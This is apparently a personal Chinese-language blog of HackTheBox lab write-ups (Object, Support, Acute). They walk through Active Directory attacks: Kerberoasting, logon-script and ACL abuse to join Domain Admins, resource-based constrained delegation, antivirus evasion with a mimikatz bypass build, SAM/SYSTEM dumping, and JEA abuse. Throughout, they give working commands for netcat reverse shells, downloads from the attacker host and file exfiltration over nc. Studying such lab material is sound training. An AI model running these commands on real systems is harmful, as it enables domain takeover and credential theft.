这回有结果了 成功的给maria创建了SPN 这就回到了常规的地方 当一个账户存在SPN时 就可以去拿他的TGS 然后破解就行
https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md
之前一直是远程渗透 这个博客提到了在域内的情况下 该如何利用
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
1
2
| . .\Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl
|
同时我也在尝试 Rubeus.exe
1
| .\Rubeus.exe kerberoast
|


这两个结果都为空 难道设置了SPN也拿不到TGS吗 我理解不了为什么会这样 还是根据wp 当然只有一个wp写的很好 思路很清晰 能学到东西 它提示说如果说spn胡乱设置不被允许访问 需要具有有效格式的SPN才行
https://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns
1
| setspn -a MSSQLSvc/object.local:1433 object.local\maria
|

还是无法获取 明明当前已经是smith了 下一步提示告诉我 即使当前是smith 但是这里还是需要传入凭证 不然还是无法访问 之前一直没用到的凭据在这里用到了
1
2
3
| $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.htb\smith', $SecPassword)
Get-DomainSPNTicket -SPN "MSSQLSvc/object.local:1433" -Credential $Cred
|

成功了 但是下一步提示说的是 这个密码rockyou都爆不出来 那就先不管了 至少学了一种新方法 在遇到这种情况的时候能更快的反应 那个时候如果才开始查 未免有点太慢了
并且GenericWrite可以修改目标的密码 当然这里不起作用 还是作为记录
1
2
| $newpass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity maria -AccountPassword $newpass
|
接下来是最难的地方 也是我有点不理解这个靶场为什么这么做的地方 这里不看wp的话我完全不可能想到 第一个能做出来的也太猛了
maria有个自动登陆脚本 而且貌似在一直重复登录退出登陆退出 那就可以给他写一个登陆脚本 只要一登陆就会触发这个脚本 而且这不只是GenericWrite特有的。能修改用户的scriptpath属性需要以下任一权限
1
2
3
4
5
| GenericWrite
GenericAll
WriteDacl
WriteOwner
WriteProperty
|
也就是以后遇到这些权限 都可以尝试写一下登陆脚本 也算是学到了一种新技巧 在以后的环境中 比如写一个弹shell的脚本也可以 只要一登陆了 立马就能弹shell 当然这里不行 出站流量全被down了
所以可以构造一个脚本 比如看一下家目录 然后将返回结果写入一个当前用户smith和maria都能访问的目录
1
2
| echo "ls \users\maria\ > \programdata\out" > C:\\programdata\\cmd.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}
|

在翻目录的时候找到了Engines.xls文件
1
2
| echo "copy \users\maria\desktop\Engines.xls \programdata\" > cmd.ps1
download Engines.xls
|

有这样几个密码 挨个试就行了
1
| crackmapexec winrm object.htb -u maria -p password.txt
|

1
| evil-winrm -i 10.10.11.132 -u maria -p 'W3llcr4ft3d_4cls'
|

导入PowerView.ps1 指定maria为域控管理员的所有者 然后就能将自己加到组里了
1
2
3
4
5
6
7
| . .\PowerView.ps1
#下面两个都可以
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'
|
修改了ACL之后需要重新登录才能生效

结束
这个太难了 我还想验证一个事情 就是我用smith可以给maria写登陆脚本 我已经知道了maria可以将自己加到域管理员组 然后赋予别人管理员权限 我如果将这一套流程写入登陆脚本里 是不是我都不需要知道maria的密码呢
1
| echo '. C:\programdata\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All; Add-DomainGroupMember -Identity "Domain Admins" -Members "smith"' > C:\programdata\cmd.ps1
|

没有问题 可能原作者也是这么想的 但是原作者又想到如果这样的话 也太难了 因为不确定哪个命令能否正常执行
22.Support
信息收集:


没有web服务 先走smb 然后rpc ldap

有匿名连接 访问之后有这样几个文件 挨个搜搜看把 貌似是一个软件库 主要是如果这个软件在网上存在 那肯定没啥用 如果是自制的就有用了
UserInfo.exe.zip 只有这个在网上搜不到 其他的都是可利用工具

我开启了另一个虚拟机 本来我可以在我的物理机上执行的 但是我抓包的时候 数据太多了 太乱了 所以我打算去虚拟机里抓 看一下这个是干啥的

捕获到了

域名而且请求了ldap 将域名添加到host里

可以看到发起请求了 解析到了那个内网IP 但是因为不通 所以卡住了

还是失败了 我看wireshark我的虚拟机一直往wifi的网关发起请求 同时请求vpn的地址 但是数据包不知道为什么过不去


追踪出来不知道为什么是空的

不通 后面发现是切换VPN的原因 重新连VPN就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| PS C:\Users\peter\Desktop\UserInfo.exe> .\UserInfo.exe find -first *
raven.clifton
anderson.damian
monroe.david
cromwell.gerard
west.laura
levine.leopoldo
langley.lucy
daughtler.mabel
bardot.mary
stoll.rachelle
thomas.raphael
smith.rosario
wilson.shelby
hernandez.stanley
ford.victoria
|
一堆用户名 我还不太清楚获取的原理 只看到之前有个ldap 可能就是ldap查询到的 毕竟他后面的数据因为VPN都加密了 我解不开


我将获得的用户名当作参数放到user上 有返回值了

果然这里是ldap 到这里就卡住了 如果它可以自动连接 ida的我看不懂 有点超纲了 这里我学到了一个新的反编译工具 貌似友好一些 在file到userinfo.exe 是.net也就是c#写的 就可以用下面这个反编译工具
https://github.com/dnSpy/dnSpy/releases


找到了 有两种方法 一种是静态调试 就是打上断点 或者把这个加密内容拿过去 找一个解密的方式 但是C#我看不懂 我不知道他如何加密的 而且考试不允许去找AI 我不可能现学 虽然说看不懂 但是语言的逻辑差不多 只是写法和函数有差别 手动解密这里就不考虑了

username就在这 名字就叫ldap 不清楚这个密码带不带"号 过会试试就知道了
1
| ldap:"nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz"
|
还有一种动态分析的方法 他这里发包没有加密 刚刚wireshark看到加密是因为 openvpn加的密 所以我看不到具体内容 但是如果把ldap服务器设置为本机 那么流量是不经过vpn的 获取到的也都是明文 这个我在刚开始就打算用这个 因为我的vpn转移起来很麻烦 但是当时报错一直没解决 这里解决一下吧
https://www.dedoimedo.com/computers/wine-dotnet-mono.html
https://askubuntu.com/questions/644236/mono-does-not-appear-to-be-installed-error-winetricks
这两个教程配合解决了我的问题

可以正常使用了
1
2
| responder -I tun0
wine UserInfo.exe -v find -first admin
|


在kali上无论是wireshark还是responder都能捕获到 这个没问题 但是windows上不知道为什么捕获不到 而且就算域名指向真实的10.10.11.174的ip

依然没有加密流量 是可以捕获到的 但是windows一开始我也试了 一直不行

没问题

也没什么特殊的地方

winrm不行
貌似只能查询ldap 可以看看 如果有服务账户的SPN 或许也能当作切入点
1
| GetUserSPNs.py support.htb/ldap:"nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz" -dc-ip 10.10.11.174 -request
|

没找到 ldap看看还能不能多找几个用户 然后拿刚刚的那个密码撞库用
1
2
| ldapsearch -x -H ldap://support.htb:389 -D "CN=ldap,CN=Users,DC=support,DC=htb" -w "nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz" -b "DC=support,DC=htb"
ldapsearch -x -H ldap://support.htb:389 -D "CN=ldap,CN=Users,DC=support,DC=htb" -w "nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz" -b "DC=support,DC=htb" | grep -iE "mail"
|

收集到了这些 没啥区别 跟上面那个软件查询的
1
| crackmapexec smb support.htb -u 1.txt -p "nvEfEK16^1aM4\$e7AclUf8x\$tRWxPWO1%lmz"
|

没结果 在上个靶场的时候我发现很多wp他会把靶场的简介贴在开头 而靶场简介是有信息可以拿到的 这里卡住了 就去看看简介

这就有思路了 但是有点太剧透了 我都感觉跟wp没区别 但是这也是其中一种思路吧 主要是学会思路和技术

如果仔细看其实也能发现 这个用户的信息是没有mail的 而且用户名不带. 并且ldpa查询的时候 比如上面的那个信息 也没返回这个 所以要仔细去翻
1
| support:Ironside47pleasure40Watchful
|
1
2
3
| crackmapexec winrm support.htb -u support -p Ironside47pleasure40Watchful
evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful
bloodhound-python -d support.htb -u support -p Ironside47pleasure40Watchful -ns 10.10.11.174 -c all
|


加载到bloodhound看看

看看help能否直接利用
根据教程第一种方法他并不推荐 但是可以利用
1
| net user Administrator Password123! /domain
|

但是这里报错了 我打算利用第二种他推荐的方法
1
2
3
4
| # 第一件事先将PowerView.ps1传上去
upload ../../PowerView.ps1
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
|

确实不能改密码 这条路走不通

这条路我发现当前用户对域管理员组有GenericAll权限 根据网上找的方法
https://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/
也行不通 权限不够


我没想到路径会是这样

根据提示我找到了 但是我在尝试SUPPORT用户为起点 DC.SUPPORT.HTB为终点的时候 没有这样的显示 又或者指向administrator也没有这条路径 至少又学到了一种新方法 以后可以拿当前用户组指向administrator

开始看help 因为都是英文 所以我google了博客配合一起使用
他这里提到了这存在基于资源的约束委派 先准备以下文件上传到靶机
1
2
3
4
5
| https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1
Powermad.ps1
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
PowerView.ps1
https://github.com/GhostPack/Rubeus/releases/tag/1.6.4 需要自行编译
|
首先创建一个由当前账户控制的计算机账户 这个需要导入Powermad.ps1才行
1
2
| . .\Powermad.ps1
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018' -AsPlainText -Force)
|
导入PowerView.ps1检索新用户的SID
1
2
| . .\PowerView.ps1
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
|
我们现在需要用攻击者添加的计算机SID作为主体构建一个通用的ACE,并获得新的DACL/ACE的二进制字节 这一步没搞懂原理 慢慢来吧 这个基于资源的约束委派 其实这个在FOREST的时候用过这个操作 做了笔记 但是我忘了原理了 当作复习也不错
1
2
3
4
5
6
| $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Get-DomainComputer support -Properties msds-allowedtoactonbehalfofotheridentity | select -ExpandProperty msds-allowedtoactonbehalfofotheridentity
|
1
2
| .\Rubeus.exe hash /password:Summer2018
.\Rubeus.exe hash /password:Summer2018 /user:attackersystem /domain:support.htb
|
根据教程 这一步我要拿到RC4 但是我没有看到任何回显

完全没有任何回显

kali上都有回显如果这个用不了拿不到RC4 那就没法利用
我上传了mimikatz 但是我上传上去了之后发现他不见了

那就已经确定了 靶机上有杀毒软件 杀毒软件没关 我上传的mimikatz直接被杀了 导致我的rubeus.exe一直无法执行
https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0
我用的是这里面的免杀 RC4实际上就算htlm加密 将我创建的密码加密

1
| 7f4f718d5029000926a9278c5cfd0872
|
教程的下一步就算请求ST了 下面的命令依然不行
1
| .\Rubeus.exe s4u /user:attackersystem$ /rc4:7f4f718d5029000926a9278c5cfd0872 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt
|
mimikatz也不行
1
| .\code_x64.exe "kerberos::ptt /user:attackersystem$ /domain:support.htb /rc4:7f4f718d5029000926a9278c5cfd0872 /target:cifs/dc.support.htb /impersonate:administrator" "exit"
|
那其实还有办法 已经到了获取最后一步ST的地方了 geST.py刚好符合我的需求 而且目标的88和389我都能访问 impacket是目前一个好的选择
1
2
| ntpdate -u support.htb && date
getST.py -spn cifs/dc.support.htb -impersonate administrator support.htb/attackersystem$:Summer2018
|

终于可以了 太艰难了 开始导入票据 还是之前记录的方法

明明导入了 又不行了 我上面的命令都试了一遍都不行

这个博客给了我答案https://github.com/fortra/impacket/issues/779

每次只要执行impacket里的脚本 都要对一次时钟 我已经把本地时间校准关了 还是会这样 现在遇到这个问题 以后再使用的时候再次遇到就知道怎么解决了
1
2
| ntpdate -u support.htb && date
/usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/[email protected] -k -no-pass
|

结束
这个靶机扩展很好 getshell部分 学会了找到软件使用的语言 然后找对应的反编译工具 就跟python和java的一样 用他们对应的反编译工具之后 代码逻辑都是能看懂的(ida我是真看不懂) 这里是C# 找到了对应的反编译工具 其次学会了kali下wine执行exe文件 因为刚开始我配置的时候一直报错我没管 还好后面配置好了 接着就是ldap处 要自行看所有信息 有的信息可能就藏在info处
提权部分卡得太多了 bloodhound没有给我用户到组直接的关联 这里学到了除了当前用户可以当作基点 用户组其实也可以的 基于资源的约束委派没什么太大的问题 网上教程特别多 主要是卡在了免杀部分 网上没有Rubeus.exe免杀的版本 mimikatz有免杀的版本 但是生成ST貌似比较麻烦 我拼接命令没有成功 google也没有找到谁会用mimikatz生成ST 都是用Rubeus.exe 还好后面想到了 既然到最后一步生成ST了 impacket其实也可以的 而且目标的88端口和389是开着的 如果没开或许我还要想其他办法 然后也学到了最关键的一点 用impacket的工具的时候 第一件事对时钟
总体而言这个靶场还算不错的
23.Acute
信息收集:



没有任何东西 但是之前遇到过这种情况 看看证书

获得了一个域名

还是没有东西 但是https可以看了

whatweb指纹扫出来了是.net的站
1
2
| whatweb https://atsserver.acute.local/
https://atsserver.acute.local/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.145], JQuery, Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/html,text/javascript], Title[Acute Health | Health, Social and Child care Training], X-Powered-By[ASP.NET]
|
加上asp和aspx就开始爆破吧 同时FFUF爆破子域名 然后看看这个站有什么接口
1
2
| gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,js,html,asp,aspx -k -t 50 -u https://atsserver.acute.local/
wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u https://10.10.11.145 -H "Host: FUZZ.acute.local" --hc 404
|


爆破没有给我太多信息

右上角有一个文件我给他下载了下来 creator FCastle

里面提到了登陆地址
1
2
| The University’s staff induction pages can be found at: https://atsserver.acute.local/Staff
The Staff Induction portal can be found here: https://atsserver.acute.local/Staff/Induction
|

里面提到了默认密码
最后面提到了Lois是管理员 仅仅只有他这一个管理员

到此处我感觉我还没收集完信息 挨个翻译挨个再看一遍

PSWA?我去搜了一下

就是一个网页版的powershell可以执行命令 这里提到的意思应该就是新用户可以用PSWA在网页执行命令 默认密码也有了现在需要找到登陆页面以及账号

这里有几个超链接 挨个看 指向的都是https://atsserver.acute.local/

1
| https://atsserver.acute.local/Acute_Staff_Access
|

找到了登陆页面 还需要用户名
目录爆破貌似已经给了我答案 因为这个网站里面只有这一个文件可以访问 我手动的时候也发现了


有用户名了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| Aileen Wallace
Charlotte Hall
Evan Davies
Ieuan Monks
oshua Morgan
Lois Hopkins
Aileen
Wallace
Charlotte
Hall
Evan
Davies
Ieuan
Monks
oshua
Morgan
Lois
Hopkins
FCastle
|

js加密了 反正用户也不多手动也行
我全都试完了 没有一个正确的 问题可能出现在

我我又去看了word 是否有啥信息 结果就是没有了 有一些零散的但都不重要 我又看了网页 也没有 最后到了文件元数据那 看了主机名

1
2
3
| Acute-PC01
edavies
Password1!
|
进来了

家目录没有flag

并不是域控 大概率是域成员 winrm开启的

当前用户有一个家目录 但是不属于普通用户 奇怪的是在net user里不知道为什么没有当前用户 当前用户难道不是普通用户吗
没有太多信息 我打算上传winPEASany.exe去看看信息

先弹个shell吧还是 传上去直接被杀了 最后这几个靶场难道有免杀的要求吗 我将netcat传上去反弹
1
2
| C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/netcat.exe -OutFile .\netcat.exe
.\netcat.exe 10.10.16.14 6666 -e cmd
|

拿到了
我上传了一个winPEAS.bat 结果bat版本也会被杀 我不知道该如何利用了 我去看了下简介

我并不知道我除了获取简介里的信息以外怎么才能知道JEA这个东西 所以我打算看wp 看看别人是如何利用的
他们都提到了一个目录 Utils 这个目录下面有一个desktop.ini
https://petri.com/microsoft-defender-exclusions-list-windows-10/
这个博客提示了攻击者可以读取 Microsoft Defender 排除列表
1
| reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
|

winPEASany也有提示

这样逻辑就通顺了 在以后遇到杀毒软件的时候 就可以这样查询目录

这里其实也能看出来 将winPEAS传到这个目录 可以上传且执行 一样重点关注红色 我将收集到的信息写到下面
1
2
| C:\Users\edavies\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
C:\Users\edavies\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\2.0.0.0\passwords.txt
|
还是挨个来

没有任何信息 wp给我的提示是如下图 RDP Sessions处是存在的 而我这里却没有

并且我执行
1
2
| qwinsta /server:127.0.0.1
qwinsta session
|

可能我需要重启 还是不行 oscp允许使用一次msf的 我看了每个wp的这一步 他们的做法都是msf 这是我万万没想到的 思路如下 msf的powershell看到了上面的RDPsession 然后msf不是可以监控桌面吗 监控的时候可以看到有脚本运行 截下来就行了 这一步我是万万没想到的 怎么看这都不符合逻辑 首先我卡住的时候经常会看一个作者的WP 他从来不用msf 我看了这么久这是他第一次使用msf 他是这么说的

实际上也是如此 比如屏幕截图 msf属于是很方便的了 这个靶场被定义为难 评分还能保持4.5 以及大部分人觉得这个靶场属于中等到困难难度 后面肯定有他的说法的
生成msf然后弹shell回来就行 我还是照常上传了winPEAS扫了一下 看来跟msf的shell没关系 他可能就是不存在


这里作为保留吧 知道路线记录方法就行了 这是没办法的办法了 开始截屏

权限不够 无法看到屏幕
我不知道我哪一步做错了 我感觉可能是权限的问题 pswa上的权限 貌似比netcat反弹shell出来的权限高?这是我唯一和wp不一样的地方 从这一步重新开始 如果确实是这样的话 起码学到了新东西 pswa能执行的命令不要弹netcat来执行

依然notfound

不存在

不存在

事实证明了 netcat cmd之后再powershell再弹shell 其实跟pswa没区别 本来就是这样 我还以为有区别
生成msf的payload都一样 因为这玩意也不可能不一样 这跟msf没有关系 我总感觉靶机出问题了 这里省略了一天 我把靶机彻底关了 有其他的事 所以没继续做了 过了一天重新开启靶机发现正常了

奇了怪了

有画面了 在这一天期间 我了解到了OSCP允许使用MSF进行监听以及生成shell 这个没有次数限制 他限制的一次是打exp 各种各样的EXP的时候才限制
1
| sharp\imonks w3_4R3_th3_f0rce.
|
根据他的命令 它是通过winrm服务去找ATSSERVER进行连接
拼接他的命令就行
1
2
3
| $pass = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $pass)
Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
|
报错了

但是针对winrm 还是有办法的 比如下面这个博客介绍了关于winrm的大部分操作
https://www.west.cn/docs/133652.html
1
2
| invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { whoami } -ConfigurationName dc_manage
invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { cat C:\users\imonks\desktop\user.txt } -ConfigurationName dc_manage
|
上面的命令可以拼接出来 来读出flag 我将netcat.exe 传上去获得一个交互式的shell
1
| invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { C:\\utils\\netcat.exe 10.10.16.14 6666 -e cmd } -ConfigurationName dc_manage
|

貌似不行 其实也一样能用 开始翻文件

1
2
3
4
| $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds
|
这个文件里有jmorgan的密码 当然这个跟之前学的一样 是安全密码 翻了一下在Omni那里遇到过 原理我记起了一些 加密字符串是由哪个用户创建的 就只能以什么用户权限才能解密 并且在哪台计算机上加密的 也只能在那台计算机上解密 以当前用户和我自己的windows上允许了上面的命令 并尝试
1
| $Creds.GetNetworkCredential().password
|
之后我才想到这一点 因为距离那个靶场确实有段时间了 后面会复习hackthebox我记得所有笔记
那就只能拼接命令 让imonks在ATSSERVER上执行这个命令
1
| Invoke-Command -ScriptBlock { $securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd); $creds.GetNetworkCredential().Password } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|
需要先导入凭证 再用$Creds.GetNetworkCredential().password读取就行

报错了 既然也无法导出凭证 那么就直接拼接命令把
1
2
3
4
5
6
7
| Invoke-Command -ScriptBlock {
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51';
$passwd = $securepasswd | ConvertTo-SecureString;
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd);
$netcatCmd = "C:\utils\netcat.exe 10.10.16.14 6666 -e cmd";
Start-Process -FilePath "cmd.exe" -ArgumentList "/c $netcatCmd" -Credential $creds
} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|
这个命令利用内层的凭证 来执行反弹shell的命令

但是跟上面一样 无法执行
看了眼wp 它提示到外层的这个用户 可以修改wm.ps1然后执行 这弥补了 当前用户无法依靠那个凭证来执行的权限
1
2
3
4
| Invoke-Command -ScriptBlock { ((cat ..\desktop\wm.ps1 -Raw) -replace 'Get-Volume', 'C:\utils\netcat.exe -e cmd 10.10.16.14 6666') | sc -Path ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Invoke-Command -ScriptBlock { cat ..\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
#下面直接运行
Invoke-Command -ScriptBlock { C:\users\imonks\desktop\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|

成功上来了
新用户第一件事还是whoami /priv

可以看到开了很多权限
1
| SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\Utils\w.log"
|

没问题 烂土豆可以直接提



没东西? 我担心的事情还是发生了 我看IP的时候就发现不对劲了 他提的DC01这个电脑 还真就是DC01这个电脑 我之前猜测的也没错 这是一个域成员主机 域成员要向域控发起攻击的话 除了漏洞利用 或者域控开启一些服务 但是现在我连域控的真实IP都没有 获取那个443就是域控 只是一些服务都没放出来 那就代表我在内部是可以访问的 如果可能我需要搭建隧道针对域控进行攻击

真实IP还是10.10.11.145?我有点不敢确定 因为我访问它的445报错 这可能只是一个边界服务器把 还有一种方法 目标开启了PSWA 并且我本地是可以切换用户的 而administrator后面明显跟了一个.ACUTE 在我的理解中 这貌似代表他是一个域用户 后面会跟上域名 在学习的时候创建了两个相同的账号 比如本地帐号叫john 如果想在入域 必须要建一个域账户 如果域账户名称和本地账户名称冲突了 比如我还要在建一个叫john的账户 那么john后面会加上域名 这样才能防止本地计算机出现冲突
目前的信息就是目标开启了PSWA以及当前用户可以切换用户 那么把他的sam和system读出来 然后破解 然后再撞库 如果可能 可以直接进域
1
2
| reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
|
这里我选择nc传 貌似smb会出错
1
2
3
4
5
6
| nc -l -p 10000 > SamBkup.hiv
.\netcat.exe -n 10.10.16.14 10000 < SamBkup.hiv
nc -l -p 10000 > SystemBkup.hiv
.\netcat.exe -n 10.10.16.14 10000 < SystemBkup.hiv
/usr/share/doc/python3-impacket/examples/secretsdump.py -sam SamBkup.hiv -system SystemBkup.hiv LOCAL
|


1
2
3
4
5
6
7
| Administrator和Natasha密码一样
如果没有那么还可以用hashcat
echo "a29f7623fd11550def0192de9246f46b" > hash.txt
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
Password@123
|

上不去 内部肯定不用说了 能上去 目前的目标是访问ATSSERVER 目前我在DC01上已经是SYSTEM了 没有其他必要了 PSWA也不允许访问ATSSERVER才对 也就是只能在内部访问 我尝试了本地的几个账户进行远程访问
1
2
3
| $pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\user", $pass)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }
|
但都行不通 又去看了wp 我不知道他在哪找的用户 就直接出来了 我回到开头 发现用户名为 awallace 正是第一个用户的名字缩写 这个我完全想不到 我接着去看其他wp 看看他们的思路是啥样的

还真让我找到了 任何域成员账户都有权去查看
1
2
3
4
5
6
| # 列出powershell可用的
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command}
# 列出域用户
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user /domain}
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user awallace /domain}
|
开始尝试这些号 刚好awallace密码就是Password@123
1
2
3
| $pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami }
|
后续太难了 我只能挨个复现 需要大量时间去找目标计算机存在的东西 这就是下一步 在这之前我尝试去反弹shell
1
2
| Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .\netcat.exe }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .\netcat.exe }
|

并不行 还是按照着来吧 用这个翻文件
1
| Invoke-Command -ScriptBlock { ls '\program files\keepmeon' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|

然后查看里面的文件
1
| Invoke-Command -ScriptBlock { cat '\program files\keepmeon\keepmeon.bat' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
|
1
2
3
4
5
| REM This is run every 5 minutes. For Lois use ONLY
@echo off
for /R %%x in (*.bat) do (
if not "%%x" == "%~0" call "%%x"
)
|
这个脚本每五分钟运行一次 只有Lois可以使用
1
2
3
4
5
| /R 是递归所有路径
*.bat 是查找所有bat文件
%%x 是循环遍历 存储找到的路径
%~0 当前脚本
如果%%x不是%~0(当前脚本)那么call 也就是执行它
|
而且是Lois执行 也就是我放一个反弹shell的bat就行了吗 导入过凭证了 再去看看有什么命令
1
| Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {Get-command}
|

无法使用curl那些 我无法判断这台机器是否能和我相通 相通的话我觉得可以直接反弹shell了 我尝试直接写bat
1
| Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { Set-Content -Path "C:\program files\keepmeon\1.bat" -Value 'curl http://10.10.16.14:33333/ncexe/netcat.exe -o "C:\program files\keepmeon\netcat.exe"' }
|
1
2
| Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { ls "\program files\keepmeon\" }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { cat "\program files\keepmeon\1.bat" }
|

没问题 但是还得反弹shell 再写一个2.bat
1
| Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { Set-Content -Path "C:\program files\keepmeon\2.bat" -Value 'C:\program files\keepmeon\netcat.exe 10.10.16.14 8888 -e cmd' }
|
1
2
| Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { ls "\program files\keepmeon\" }
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { cat "\program files\keepmeon\2.bat" }
|

